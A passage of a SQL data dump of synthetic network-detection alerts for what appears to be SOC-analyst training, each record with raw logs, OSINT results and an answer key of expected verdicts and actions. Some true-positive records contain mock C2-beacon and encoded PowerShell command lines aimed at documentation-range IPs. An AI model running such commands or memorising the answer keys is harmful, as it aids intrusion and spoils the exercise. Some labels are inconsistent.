behavior.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The traffic pattern and destination IP confirm malicious C2 beaconing from the internal host.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1928, 'Routine IT Vulnerability Scan', 'low', 'Zeek', 'Detected network traffic resembling a potential reconnaissance scan. Internal vulnerability scanning tool was run by IT.', 'Reconnaissance', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"admin_scan\",\"hostname\":\"scan-tool.local\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used by IT for scanning purposes\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Common command for network scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"reconnaissance\",\"analysis_notes\":\"This alert was generated by an internal vulnerability scan conducted by the IT department.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1929, 'Authorized Administrative Backup Traffic', 'low', 'Corelight', 'Network activity flagged as potential data exfiltration. Upon investigation, it was identified as routine backup operations.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"192.168.2.11\",\"username\":\"backup_admin\",\"hostname\":\"backup-server.local\",\"command_line\":\"rsync -avz /data/ 192.168.2.11:/backup/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of backup server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/ 192.168.2.11:/backup/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Known command for data backup using rsync\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert pertains to authorized backup operations and is not indicative of data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1930, 'Misconfigured Legacy Application Communication', 'medium', 'Suricata', 'Unusual network traffic was flagged as potential C2 beaconing. Analysis revealed it to be a misconfigured legacy application.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"203.0.113.5\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server.local\",\"command_line\":\"legacy_app --connect 203.0.113.5\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 5 times for non-malicious traffic\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"legacy_app --connect 203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used by legacy application for communication\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The legacy application was misconfigured, resulting in network traffic that mimicked C2 beaconing.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1931, 'Benign System Health Check Traffic', 'low', 'Darktrace', 'Network connection detected that appeared as lateral movement. Identified as benign system health checks.', 'Lateral Movement', 'T1087', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.20\",\"dst_ip\":\"192.168.5.30\",\"username\":\"health_check\",\"hostname\":\"monitor-server.local\",\"command_line\":\"ping -c 4 192.168.5.30\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP performing health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ping -c 4 192.168.5.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard ping command for system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was a part of routine system health checks and did not constitute lateral movement.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1932, 'Suspicious Command Execution Detected on Endpoint', 'high', 'Wireshark', 'Potential malicious command execution detected involving an unauthorized script execution on an endpoint.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.50.10\",\"username\":\"compromised_user\",\"hostname\":\"compromised-machine.local\",\"command_line\":\"powershell.exe -EncodedCommand aABpACAAJwB3AG8AcgBsAGQAJwA=\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aABpACAAJwB3AG8AcgBsAGQAJwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of unauthorized execution\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"This alert represents a true positive as the PowerShell command was executed without authorization, indicating potential compromise.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1933, 'Routine IT Vulnerability Scanning Detected', 'low', 'Wireshark', 'A network scan was detected from an internal IP address, which appears to be part of authorized IT routine maintenance.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"itadmin\",\"hostname\":\"IT-SERVER01\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal network used by IT department\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network scanning command by IT\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is a false positive as it matches the profile of authorized IT scanning activity.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1934, 'Authorized Administrative Backup Activity', 'medium', 'Corelight', 'A data transfer from a critical server was detected. The activity matches scheduled backup operations.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"10.0.0.5\",\"username\":\"backupadmin\",\"hostname\":\"BACKUP-SERVER\",\"command_line\":\"rsync -avz /data 10.0.0.5:/backup\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of an internal server used for backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data 10.0.0.5:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized data backup\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert is a false positive because the data transfer aligns with scheduled backup activities.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1935, 'Benign System Health Check Detected', 'low', 'Zeek', 'An internal IP address executed health check scripts on several network devices. This activity is part of regular system maintenance.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.25\",\"dst_ip\":\"192.168.3.30\",\"username\":\"syshealth\",\"hostname\":\"HEALTH-CHECKER\",\"command_line\":\"healthcheck --device 192.168.3.30 --report\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for system health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"healthcheck --device 192.168.3.30 --report\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized health check\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This alert is a false positive as it corresponds to routine health checks performed by the IT department.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1936, 'Misconfigured Legacy Application Traffic', 'medium', 'Suricata', 'Unusual network activity from a legacy application server was detected. The traffic pattern aligns with known misconfigurations causing false alarms.', 'Data Exfil', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.40\",\"dst_ip\":\"198.51.100.10\",\"username\":\"legacyapp\",\"hostname\":\"LEGACY-SERVER\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"External IP with no malicious activity reported\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert is a false positive due to known misconfigurations in legacy applications causing benign network traffic.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1937, 'Suspicious C2 Beaconing Detected', 'high', 'Darktrace', 'A device on the internal network is communicating with a known Command and Control server. The communication pattern matches known malware behavior.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.50\",\"dst_ip\":\"203.0.113.45\",\"username\":\"infecteduser\",\"hostname\":\"INFECTED-PC\",\"command_line\":\"malicious.exe --connect 203.0.113.45\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address showing signs of infection\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"malicious.exe --connect 203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Executable associated with multiple malware families\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This alert is a true positive, as the communication pattern and IP address match known malicious activity linked to C2 servers.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1938, 'Routine IT Vulnerability Scan Triggered Network Communication Alert', 'medium', 'Zeek', 'A network communication from an internal IP was detected communicating with multiple external IPs over various ports. This is consistent with routine vulnerability scanning by IT.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.12\",\"username\":\"it_admin\",\"hostname\":\"internal-scanner\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address used for scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This activity matches known patterns of authorized vulnerability scanning, hence a false positive.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1939, 'Misconfigured Legacy App Generated Suspicious Network Traffic', 'low', 'Corelight', 'A misconfigured legacy application on an internal server generated suspicious traffic patterns typical of C2 communication. Investigation revealed it was benign.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.50\",\"dst_ip\":\"203.0.113.5\",\"username\":\"app_service\",\"hostname\":\"legacy-app-server\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with a known legacy application.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The misconfigured app resulted in unusual traffic but was not malicious.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1940, 'Authorized Administrative Backup Detected as Data Exfiltration', 'medium', 'Darktrace', 'Data transfer activity from a backup server to an external storage was flagged as potential data exfiltration. Verified as a scheduled backup task.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"198.51.100.50\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"External storage IP, no malicious activity detected.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Activity confirmed as legitimate due to scheduled backup tasks.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1941, 'Benign System Health Check Mistaken for Lateral Movement', 'low', 'Wireshark', 'Regular system health checks from a monitoring server were flagged as suspicious lateral movement within the network.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.200\",\"dst_ip\":\"192.168.1.201\",\"username\":\"monitor_service\",\"hostname\":\"monitor-server\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal monitoring server IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.201\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP of internal server receiving health check.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Confirmed as benign system health checks from internal monitoring.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1942, 'Actual C2 Beaconing Detected from Compromised Internal Host', 'high', 'Suricata', 'Detected suspicious repeated connections from an internal host to a known malicious C2 server. Further investigation confirmed the host was compromised.', 'C2 Beaconing', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.99\",\"username\":\"user123\",\"hostname\":\"compromised-host\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 server activity.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection pattern and OSINT results confirm this as a true positive for C2 beaconing.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1943, 'Detected C2 Beaconing from Internal Host to External IP', 'critical', 'Darktrace', 'An internal host has been detected communicating with a known C2 server. The traffic pattern is consistent with beaconing activity.', 'C2 Communication', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:23:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.45\",\"hostname\":\"internal-pc-01\",\"command_line\":\"beacon.exe -connect 203.0.113.45:443\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"beacon.exe -connect 203.0.113.45:443\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command pattern matches known C2 beaconing\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The external IP is linked to a known C2 server, confirmed by multiple OSINT sources.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1944, 'Routine IT Vulnerability Scan Detected as Malicious', 'medium', 'Zeek', 'A routine internal vulnerability scan was flagged as suspicious network activity due to high traffic volume.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.15\",\"dst_ip\":\"10.0.2.25\",\"username\":\"admin_scan\",\"hostname\":\"scanner-host\",\"command_line\":\"nmap -sS 10.0.2.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal vulnerability scanner\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 10.0.2.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command matches routine network scan pattern\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was confirmed to be a scheduled vulnerability scan by the IT department.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1945, 'Authorized Administrative Backup Misflagged as Data Exfiltration', 'low', 'Corelight', 'A backup process transferring large data volumes to a remote site was incorrectly flagged as potential data exfiltration.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/backup 192.168.1.200:/backup\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP belongs to authorized backup server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup 192.168.1.200:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command corresponds to scheduled backup task\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer is part of a regular backup schedule, not unauthorized exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1946, 'Misconfigured Legacy App Triggers Network Anomaly Alert', 'medium', 'Suricata', 'A legacy application generated unusual network traffic patterns, mistakenly identified as suspicious activity.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:05:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"192.168.1.80\",\"hostname\":\"legacy-app-server\",\"command_line\":\"/usr/bin/legacyapp -connect 192.168.1.80\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/legacyapp -connect 192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Observed traffic pattern matches known legacy application behavior\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unusual traffic patterns are normal for this legacy application and not indicative of an attack.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1947, 'System Health Check Mistaken for Lateral Movement', 'medium', 'Wireshark', 'Network traffic from system health monitoring tools was incorrectly identified as lateral movement.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.3.5\",\"dst_ip\":\"10.0.3.10\",\"username\":\"syshealth\",\"hostname\":\"monitoring-tool\",\"command_line\":\"check_health -target 10.0.3.10\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP belongs to system health monitoring tool\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"check_health -target 10.0.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command in line with system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic was generated by legitimate system health monitoring tools, not unauthorized access.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1948, 'Routine IT Vulnerability Scanning Detected as C2 Beaconing', 'medium', 'Zeek', 'Network traffic resembling C2 beaconing was detected from an internal IP to an external server. Upon review, this was a routine vulnerability scan.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"198.51.100.25\",\"username\":\"scanner_user\",\"hostname\":\"scan-server\",\"command_line\":\"/usr/bin/nmap -sT -p 1-65535 198.51.100.25\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity associated with this IP.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"/usr/bin/nmap -sT -p 1-65535 198.51.100.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command identified as routine vulnerability 